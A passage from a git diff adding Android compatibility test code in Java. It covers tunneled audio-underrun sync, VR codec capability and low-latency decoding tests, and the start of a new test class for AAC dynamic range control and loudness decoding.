+        // Start media playback
+        mMediaCodecPlayer.startThread();
+        final int waitStartMs = 50;
+        Thread.sleep(waitStartMs);
+        assertTrue(String.format("Playback has not started after %d milliseconds", waitStartMs),
+                mMediaCodecPlayer.getVideoTimeUs() != 0);
+        // Keep buffering video content but stop buffering audio content -> audio underrun
+        mMediaCodecPlayer.simulateAudioUnderrun(true);
+        // Loop to wait for audio underrun
+        // TODO(b/200280965): Find a more appropriate delay based on partner feedback
+        final int audioUnderrunTimeoutMs = 1000; // Arbitrary upper time limit on loop time duration
+        long startTimeMs = System.currentTimeMillis();
+        AudioTimestamp previousTimestamp = mMediaCodecPlayer.getTimestamp();
+        AudioTimestamp underrunAudioTimestamp;
+        while ((underrunAudioTimestamp = mMediaCodecPlayer.getTimestamp()) != previousTimestamp) {
+            assertTrue(String.format("No audio underrun after %d milliseconds",
+                            audioUnderrunTimeoutMs),
+                    System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs);
+            previousTimestamp = underrunAudioTimestamp;
+            Thread.sleep(50);
+        }
+        // Loop to wait until video playback stalls
+        long previousVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+        long underrunVideoTimeUs;
+        startTimeMs = System.currentTimeMillis();
+        // TODO(b/200280965): Find a more appropriate delay based on partner feedback
+        final int videoUnderrunTimeoutMs = 1000;
+        while ((underrunVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs()) != previousVideoTimeUs) {
+            assertTrue(String.format("No video underrun after %d milliseconds",
+                            videoUnderrunTimeoutMs),
+                    System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs);
+            previousVideoTimeUs = underrunVideoTimeUs;
+            Thread.sleep(50);
+        }
+
+        final int underrunVideoRenderedTimestampIndex =
+                mMediaCodecPlayer.getRenderedVideoFrameTimestampList().size() - 1;
+        // Resume audio buffering with a negative offset, in order to simulate a desynchronisation.
+        // TODO(b/202710709): Use timestamp relative to last played video frame before pause
+        mMediaCodecPlayer.setAudioTrackOffsetMs(-100);
+        mMediaCodecPlayer.simulateAudioUnderrun(false);
+
+        // Loop to wait until audio playback resumes
+        startTimeMs = System.currentTimeMillis();
+        AudioTimestamp postResumeTimestamp;
+        while ((postResumeTimestamp = mMediaCodecPlayer.getTimestamp()) == underrunAudioTimestamp) {
+            assertTrue(String.format("Audio has not resumed after %d milliseconds",
+                            audioUnderrunTimeoutMs),
+                    System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs);
+            Thread.sleep(50);
+        }
+
+        long resumeAudioSystemTime = interpolateSystemTimeAt(
+                underrunAudioTimestamp.framePosition + 1, postResumeTimestamp,
+                mMediaCodecPlayer.getAudioTrack());
+
+        // Now that audio playback has resumed, loop to wait until video playback resumes
+        // We care about the timestamp of the first output frame, rather than the exact time the
+        // video resumed, which is why we only start polling after we are sure audio playback has
+        // resumed.
+        long resumeVideoTimeUs = 0;
+        startTimeMs = System.currentTimeMillis();
+        while ((resumeVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs()) == underrunVideoTimeUs) {
+            assertTrue(String.format("Video has not resumed after %d milliseconds",
+                            videoUnderrunTimeoutMs),
+                    System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs);
+            Thread.sleep(50);
+        }
+
+        final ImmutableList<Long> renderedSystemTimeList =
+                mMediaCodecPlayer.getRenderedVideoFrameSystemTimeList();
+        final long resumeVideoFrameSystemTime = mMediaCodecPlayer
+                .getRenderedVideoFrameSystemTimeList().get(underrunVideoRenderedTimestampIndex + 1);
+        final long vsync = (long) (1000 / frameRate);
+        final long avSyncOffset = resumeAudioSystemTime + 100 - resumeVideoFrameSystemTime;
+        assertTrue(String.format("Audio and video tracks are more than %d milliseconds out of sync",
+                        vsync),
+                Math.abs(avSyncOffset) <= vsync);
+    }
+
+    /**
+     * Test tunneled audio underrun with HEVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioUnderrunHevc() throws Exception {
+        tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv",
+                25);
+    }
+
+    /**
+     * Test tunneled audio underrun with AVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioUnderrunAvc() throws Exception {
+        tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                25);
+    }
+
+    /**
+     * Test tunneled audio underrun with VP9 if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioUnderrunVp9() throws Exception {
+        tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                30);
+    }
+
+    private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception {
+        final long deadLineMs = System.currentTimeMillis() + maxWait.toMillis();
+        do {
+            Thread.sleep(50);
+        } while (!supplier.get() && System.currentTimeMillis() < deadLineMs);
+    }
+
+    /**
+     * Returns the system time of the frame {@code framePosition} from {@code timestamp}, for a
+     * specific {@code AudioTrack}.
+     */
+    private static long interpolateSystemTimeAt(long framePosition, AudioTimestamp timestamp,
+            AudioTrack audioTrack) {
+        final long playbackRateFps = audioTrack.getPlaybackRate();  // Frames per second
+        final long playedFrames = timestamp.framePosition - framePosition;
+        final double elapsedTimeNs = playedFrames * (1000000000.0 / playbackRateFps);
+        return timestamp.nanoTime - (long) elapsedTimeNs;
+    }
+
+    /**
+     * Returns list of CodecCapabilities advertising support for the given MIME type.
+     */
+    private static List<CodecCapabilities> getCodecCapabilitiesForMimeType(String mimeType) {
+        int numCodecs = MediaCodecList.getCodecCount();
+        List<CodecCapabilities> caps = new ArrayList<CodecCapabilities>();
+        for (int i = 0; i < numCodecs; i++) {
+            MediaCodecInfo codecInfo = MediaCodecList.getCodecInfoAt(i);
+            if (codecInfo.isAlias()) {
+                continue;
+            }
+            if (codecInfo.isEncoder()) {
+                continue;
+            }
+
+            String[] types = codecInfo.getSupportedTypes();
+            for (int j = 0; j < types.length; j++) {
+                if (types[j].equalsIgnoreCase(mimeType)) {
+                    caps.add(codecInfo.getCapabilitiesForType(mimeType));
+                }
+            }
+        }
+        return caps;
+    }
+
+    /**
+     * Returns true if there exists a codec supporting the given MIME type that meets the
+     * minimum specification for VR high performance requirements.
+     *
+     * The requirements are as follows:
+     *   - At least 243000 blocks per second (where blocks are defined as 16x16 -- note this
+     *   is equivalent to 1920x1080@30fps)
+     *   - Feature adaptive-playback present
+     */
+    private static boolean doesMimeTypeHaveMinimumSpecVrReadyCodec(String mimeType) {
+        List<CodecCapabilities> caps = getCodecCapabilitiesForMimeType(mimeType);
+        for (CodecCapabilities c : caps) {
+            if (!c.isFeatureSupported(CodecCapabilities.FEATURE_AdaptivePlayback)) {
+                continue;
+            }
+
+            if (!c.getVideoCapabilities().areSizeAndRateSupported(1920, 1080, 30.0)) {
+                continue;
+            }
+
+            return true;
+        }
+
+        return false;
+    }
+
+    /**
+     * Returns true if there exists a codec supporting the given MIME type that meets VR high
+     * performance requirements.
+     *
+     * The requirements are as follows:
+     *   - At least 972000 blocks per second (where blocks are defined as 16x16 -- note this
+     *   is equivalent to 3840x2160@30fps)
+     *   - At least 4 concurrent instances
+     *   - Feature adaptive-playback present
+     */
+    private static boolean doesMimeTypeHaveVrReadyCodec(String mimeType) {
+        List<CodecCapabilities> caps = getCodecCapabilitiesForMimeType(mimeType);
+        for (CodecCapabilities c : caps) {
+            if (c.getMaxSupportedInstances() < 4) {
+                continue;
+            }
+
+            if (!c.isFeatureSupported(CodecCapabilities.FEATURE_AdaptivePlayback)) {
+                continue;
+            }
+
+            if (!c.getVideoCapabilities().areSizeAndRateSupported(3840, 2160, 30.0)) {
+                continue;
+            }
+
+            return true;
+        }
+
+        return false;
+    }
+
+    @Test
+    public void testVrHighPerformanceH264() throws Exception {
+        if (!supportsVrHighPerformance()) {
+            MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
+            return;
+        }
+
+        boolean h264IsReady = doesMimeTypeHaveVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_AVC);
+        assertTrue("Did not find a VR ready H.264 decoder", h264IsReady);
+    }
+
+    @Test
+    public void testVrHighPerformanceHEVC() throws Exception {
+        if (!supportsVrHighPerformance()) {
+            MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
+            return;
+        }
+
+        // Test minimum mandatory requirements.
+        assertTrue(doesMimeTypeHaveMinimumSpecVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_HEVC));
+
+        boolean hevcIsReady = doesMimeTypeHaveVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_HEVC);
+        if (!hevcIsReady) {
+            Log.d(TAG, "HEVC isn't required to be VR ready");
+            return;
+        }
+    }
+
+    @Test
+    public void testVrHighPerformanceVP9() throws Exception {
+        if (!supportsVrHighPerformance()) {
+            MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
+            return;
+        }
+
+        // Test minimum mandatory requirements.
+        assertTrue(doesMimeTypeHaveMinimumSpecVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_VP9));
+
+        boolean vp9IsReady = doesMimeTypeHaveVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_VP9);
+        if (!vp9IsReady) {
+            Log.d(TAG, "VP9 isn't required to be VR ready");
+            return;
+        }
+    }
+
+    private boolean supportsVrHighPerformance() {
+        PackageManager pm = mContext.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
+    }
+
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    @Test
+    public void testLowLatencyVp9At1280x720() throws Exception {
+        testLowLatencyVideo(
+                "video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm", 300,
+                false /* useNdk */);
+        testLowLatencyVideo(
+                "video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm", 300,
+                true /* useNdk */);
+    }
+
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    @Test
+    public void testLowLatencyVp9At1920x1080() throws Exception {
+        testLowLatencyVideo(
+                "bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz.webm", 300,
+                false /* useNdk */);
+        testLowLatencyVideo(
+                "bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz.webm", 300,
+                true /* useNdk */);
+    }
+
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    @Test
+    public void testLowLatencyVp9At3840x2160() throws Exception {
+        testLowLatencyVideo(
+                "bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz.webm", 300,
+                false /* useNdk */);
+        testLowLatencyVideo(
+                "bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz.webm", 300,
+                true /* useNdk */);
+    }
+
+    @NonMediaMainlineTest
+    @Test
+    public void testLowLatencyAVCAt1280x720() throws Exception {
+        testLowLatencyVideo(
+                "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 300,
+                false /* useNdk */);
+        testLowLatencyVideo(
+                "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 300,
+                true /* useNdk */);
+    }
+
+    @NonMediaMainlineTest
+    @Test
+    public void testLowLatencyHEVCAt480x360() throws Exception {
+        testLowLatencyVideo(
+                "video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300,
+                false /* useNdk */);
+        testLowLatencyVideo(
+                "video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300,
+                true /* useNdk */);
+    }
+
+    private void testLowLatencyVideo(String testVideo, int frameCount, boolean useNdk)
+            throws Exception {
+        AssetFileDescriptor fd = getAssetFileDescriptorFor(testVideo);
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        fd.close();
+
+        MediaFormat format = null;
+        int trackIndex = -1;
+        for (int i = 0; i < extractor.getTrackCount(); i++) {
+            format = extractor.getTrackFormat(i);
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                trackIndex = i;
+                break;
+            }
+        }
+
+        assertTrue("No video track was found", trackIndex >= 0);
+
+        extractor.selectTrack(trackIndex);
+        format.setFeatureEnabled(MediaCodecInfo.CodecCapabilities.FEATURE_LowLatency,
+                true /* enable */);
+
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        String decoderName = mcl.findDecoderForFormat(format);
+        if (decoderName == null) {
+            MediaUtils.skipTest("no low latency decoder for " + format);
+            return;
+        }
+        String entry = (useNdk ? "NDK" : "SDK");
+        Log.v(TAG, "found " + entry + " decoder " + decoderName + " for format: " + format);
+
+        Surface surface = getActivity().getSurfaceHolder().getSurface();
+        MediaCodecWrapper decoder = null;
+        if (useNdk) {
+            decoder = new NdkMediaCodec(decoderName);
+        } else {
+            decoder = new SdkMediaCodec(MediaCodec.createByCodecName(decoderName));
+        }
+        format.removeFeature(MediaCodecInfo.CodecCapabilities.FEATURE_LowLatency);
+        format.setInteger(MediaFormat.KEY_LOW_LATENCY, 1);
+        decoder.configure(format, 0 /* flags */, surface);
+        decoder.start();
+
+        if (!useNdk) {
+            decoder.getInputBuffers();
+        }
+        ByteBuffer[] codecOutputBuffers = decoder.getOutputBuffers();
+        String decoderOutputFormatString = null;
+
+        // start decoding
+        final long kTimeOutUs = 1000000;  // 1 second
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        int bufferCounter = 0;
+        long[] latencyMs = new long[frameCount];
+        boolean waitingForOutput = false;
+        long startTimeMs = System.currentTimeMillis();
+        while (bufferCounter < frameCount) {
+            if (!waitingForOutput) {
+                int inputBufferId = decoder.dequeueInputBuffer(kTimeOutUs);
+                if (inputBufferId < 0) {
+                    Log.v(TAG, "no input buffer");
+                    break;
+                }
+
+                ByteBuffer dstBuf = decoder.getInputBuffer(inputBufferId);
+
+                int sampleSize = extractor.readSampleData(dstBuf, 0 /* offset */);
+                long presentationTimeUs = 0;
+                if (sampleSize < 0) {
+                    Log.v(TAG, "had input EOS, early termination at frame " + bufferCounter);
+                    break;
+                } else {
+                    presentationTimeUs = extractor.getSampleTime();
+                }
+
+                startTimeMs = System.currentTimeMillis();
+                decoder.queueInputBuffer(
+                        inputBufferId,
+                        0 /* offset */,
+                        sampleSize,
+                        presentationTimeUs,
+                        0 /* flags */);
+
+                extractor.advance();
+                waitingForOutput = true;
+            }
+
+            int outputBufferId = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (outputBufferId >= 0) {
+                waitingForOutput = false;
+                //Log.d(TAG, "got output, size " + info.size + ", time " + info.presentationTimeUs);
+                latencyMs[bufferCounter++] = System.currentTimeMillis() - startTimeMs;
+                // TODO: render the frame and find the rendering time to calculate the total delay
+                decoder.releaseOutputBuffer(outputBufferId, false /* render */);
+            } else if (outputBufferId == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = decoder.getOutputBuffers();
+                Log.d(TAG, "output buffers have changed.");
+            } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                decoderOutputFormatString = decoder.getOutputFormatString();
+                Log.d(TAG, "output format has changed to " + decoderOutputFormatString);
+            } else {
+                fail("No output buffer returned without frame delay, status " + outputBufferId);
+            }
+        }
+
+        assertTrue("No INFO_OUTPUT_FORMAT_CHANGED from decoder", decoderOutputFormatString != null);
+
+        long latencyMean = 0;
+        long latencyMax = 0;
+        int maxIndex = 0;
+        for (int i = 0; i < bufferCounter; ++i) {
+            latencyMean += latencyMs[i];
+            if (latencyMs[i] > latencyMax) {
+                latencyMax = latencyMs[i];
+                maxIndex = i;
+            }
+        }
+        if (bufferCounter > 0) {
+            latencyMean /= bufferCounter;
+        }
+        Log.d(TAG, entry + " latency average " + latencyMean + " ms, max " + latencyMax +
+                " ms at frame " + maxIndex);
+
+        DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, "video_decoder_latency");
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        int width = format.getInteger(MediaFormat.KEY_WIDTH);
+        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+        log.addValue("codec_name", decoderName, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("mime_type", mime, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("width", width, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("height", height, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("video_res", testVideo, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("decode_to", surface == null ? "buffer" : "surface",
+                ResultType.NEUTRAL, ResultUnit.NONE);
+
+        log.addValue("average_latency", latencyMean, ResultType.LOWER_BETTER, ResultUnit.MS);
+        log.addValue("max_latency", latencyMax, ResultType.LOWER_BETTER, ResultUnit.MS);
+
+        log.submit(getInstrumentation());
+
+        decoder.stop();
+        decoder.release();
+        extractor.release();
+    }
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacDrc.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacDrc.java
new file mode 100644
index 0000000..e915977
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacDrc.java
@@ -0,0 +1,763 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.decoder.cts.DecoderTest.AudioParameter;
+import android.media.decoder.cts.R;
+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+@AppModeFull(reason = "DecoderTest is non-instant")
+public class DecoderTestAacDrc {
+    private static final String TAG = "DecoderTestAacDrc";
+
+    private static final boolean sIsAndroidRAndAbove =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
+    private Resources mResources;
+
+    @Before
+    public void setUp() throws Exception {
+        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+        assertNotNull(inst);
+        mResources = inst.getContext().getResources();
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 AAC with output level normalization to -23dBFS.
+     */
+    @Test
+    public void testDecodeAacDrcLevelM4a() throws Exception {
+        AudioParameter decParams = new AudioParameter();
+        // full boost, full cut, target ref level: -23dBFS, heavy compression: no
+        DrcParams drcParams = new DrcParams(127, 127, 92, 0);
+        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drclevel_mp4,
+                -1, null, drcParams, null /*decoderName: use default decoder*/);
+        DecoderTest decTester = new DecoderTest();
+        decTester.checkEnergy(decSamples, decParams, 2, 0.70f);
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
+     * Fully apply light compression DRC (default settings).
+     */
+    @Test
+    public void testDecodeAacDrcFullM4a() throws Exception {
+        AudioParameter decParams = new AudioParameter();
+        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcfull_mp4,
+                -1, null, null, null /*decoderName: use default decoder*/);
+        DecoderTest decTester = new DecoderTest();
+        decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
+     * Apply only half of the light compression DRC and normalize to -20dBFS output level.
+     */
+    @Test
+    public void testDecodeAacDrcHalfM4a() throws Exception {
+        AudioParameter decParams = new AudioParameter();
+        // half boost, half cut, target ref level: -20dBFS, heavy compression: no
+        DrcParams drcParams = new DrcParams(63, 63, 80, 0);
+        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_drchalf_mp4,
+                -1, null, drcParams, null /*decoderName: use default decoder*/);
+        DecoderTest decTester = new DecoderTest();
+        decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
+     * Disable light compression DRC to test if MediaFormat keys reach the decoder.
+     */
+    @Test
+    public void testDecodeAacDrcOffM4a() throws Exception {
+        AudioParameter decParams = new AudioParameter();
+        // no boost, no cut, target ref level: -16dBFS, heavy compression: no
+        DrcParams drcParams = new DrcParams(0, 0, 64, 0);       // normalize to -16dBFS
+        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcoff_mp4,
+                -1, null, drcParams, null /*decoderName: use default decoder*/);
+        DecoderTest decTester = new DecoderTest();
+        decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
+     * Apply heavy compression gains and normalize to -16dBFS output level.
+     */
+    @Test
+    public void testDecodeAacDrcHeavyM4a() throws Exception {
+        AudioParameter decParams = new AudioParameter();
+        // full boost, full cut, target ref level: -16dBFS, heavy compression: yes
+        DrcParams drcParams = new DrcParams(127, 127, 64, 1);
+        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_drcheavy_mp4,
+                -1, null, drcParams, null /*decoderName: use default decoder*/);
+        DecoderTest decTester = new DecoderTest();
+        decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
+    }
+
+    /**
+     * Test signal limiting (without clipping) of MPEG-4 AAC decoder with the help of DRC metadata.
+     * Uses a two channel 248 Hz sine tone at 48 kHz sampling rate for input.
+     */
+    @Test
+    public void testDecodeAacDrcClipM4a() throws Exception {
+        AudioParameter decParams = new AudioParameter();
+        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcclip_mp4,
+                -1, null, null, null /*decoderName: use default decoder*/);
+        checkClipping(decSamples, decParams, 248.0f /* Hz */);
+    }
+
+    /**
+     * Test if there is decoder internal clipping of MPEG-4 AAC decoder.
+     * Uses a two channel 248 Hz sine tone at 48 kHz sampling rate for input.
+     */
+    @Test
+    public void testDecodeAacInternalClipM4a() throws Exception {
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Internal clipping fixed in Android R"))
+                return;
+        AudioParameter decParams = new AudioParameter();
+        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_internalclip_mp4,
+                -1, null, null, null /*decoderName: use default decoder*/);
+        checkClipping(decSamples, decParams, 248.0f /* Hz */);
+    }
+
+    /**
+     * Default decoder target level.
+     * The actual default value used by the decoder can differ between platforms, or even devices,
+     * but tests will measure energy relative to this value.
+     */
+    public static final int DEFAULT_DECODER_TARGET_LEVEL = 64; // -16.0 dBFs
+
+    /**
+     * Test USAC decoder with different target loudness levels
+     */
+    @Test
+    public void testDecodeUsacLoudnessM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacLoudnessM4a");
+
+        ArrayList<String> aacDecoderNames = DecoderTestXheAac.initAacDecoderNames();
+        assertTrue("No AAC decoder found", aacDecoderNames.size() > 0);
+
+        for (String aacDecName : aacDecoderNames) {
+            // test default loudness
+            // decoderTargetLevel = 64 --> target output level = -16.0 dBFs
+            try {
+                checkUsacLoudness(DEFAULT_DECODER_TARGET_LEVEL, 1, 1.0f, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+
+            // test loudness boost
+            // decoderTargetLevel = 40 --> target output level = -10.0 dBFs
+            // normFactor = 1/(10^(-6/10)) = 3.98f
+            //   where "-6" is the difference between the default level (-16), and -10 for this test
+            try {
+                checkUsacLoudness(40, 1, (float)(1.0f/Math.pow(10.0f, -6.0f/10.0f)), aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness boost failed for " + aacDecName);
+                throw new RuntimeException(e);
+            }
+
+            // test loudness attenuation
+            // decoderTargetLevel = 96 --> target output level = -24.0 dBFs
+            // normFactor = 1/(10^(8/10)) = 0.15f
+            //     where 8 is the difference between the default level (-16), and -24 for this test
+            try {
+                checkUsacLoudness(96, 0, (float)(1.0f/Math.pow(10.0f, 8.0f/10.0f)), aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
+                        + aacDecName);
+                throw new RuntimeException(e);
+            }
+
+            if (sIsAndroidRAndAbove) {
+                // test loudness normalization off
+                // decoderTargetLevel = -1 --> target output level = -19.0 dBFs (program loudness of
+                // waveform)
+                // normFactor = 1/(10^(3/10)) = 0.5f
+                // where 3 is the difference between the default level (-16), and -19 for this test
+                try {
+                    checkUsacLoudness(-1, 0, (float) (1.0f / Math.pow(10.0f, 3.0f / 10.0f)),
+                            aacDecName);
+                } catch (Exception e) {
+                    Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
+                            + aacDecName);
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+    }
+
+    /**
+     * Verify that the correct output loudness values are returned by the MPEG-4 AAC decoder
+     */
+    @Test
+    public void testDecodeAacDrcOutputLoudnessM4a() throws Exception {
+        Log.v(TAG, "START testDecodeAacDrcOutputLoudnessM4a");
+
+        ArrayList<String> aacDecoderNames = DecoderTestXheAac.initAacDecoderNames();
+        assertTrue("No AAC decoder found", aacDecoderNames.size() > 0);
+
+        for (String aacDecName : aacDecoderNames) {
+            // test drc output loudness
+            // testfile without loudness metadata and loudness normalization off
+            // -> expected value: -1
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.noise_1ch_24khz_aot5_dr_sbr_sig1_mp4, -1, -1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+            // test drc output loudness
+            // testfile without loudness metadata and loudness normalization on
+            // -> expected value: -1
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.noise_1ch_24khz_aot5_dr_sbr_sig1_mp4, 70, -1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+            // test drc output loudness
+            // testfile with MPEG-4 DRC loudness metadata and loudness normalization off
+            // -> expected value: loudness metadata in bitstream (-16*-4 = 64)
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.sine_2ch_48khz_aot2_drchalf_mp4, -1, 64, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+            // test drc output loudness
+            // testfile with MPEG-4 DRC loudness metadata and loudness normalization off
+            // -> expected value: loudness metadata in bitstream (-31*-4 = 124)
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.sine_2ch_48khz_aot5_drcclip_mp4, -1, 124, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+            // test drc output loudness
+            // testfile with MPEG-4 DRC loudness metadata and loudness normalization on
+            // -> expected value: target loudness value (85)
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.sine_2ch_48khz_aot5_drcclip_mp4, 85, 85, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    /**
+     *  Internal utilities
+     */
+
+    /**
+     * The test routine performs a THD+N (Total Harmonic Distortion + Noise) analysis on a given
+     * audio signal (decSamples). The THD+N value is defined here as harmonic distortion (+ noise)
+     * RMS over full signal RMS.
+     *
+     * After the energy measurement of the unprocessed signal the routine creates and applies a
+     * notch filter at the given frequency (sineFrequency). Afterwards the signal energy is
+     * measured again. Then the THD+N value is calculated as the ratio of the filtered and the full
+     * signal energy.
+     *
+     * The test passes if the THD+N value is lower than -60 dB. Otherwise it fails.
+     *
+     * @param decSamples the decoded audio samples to be tested
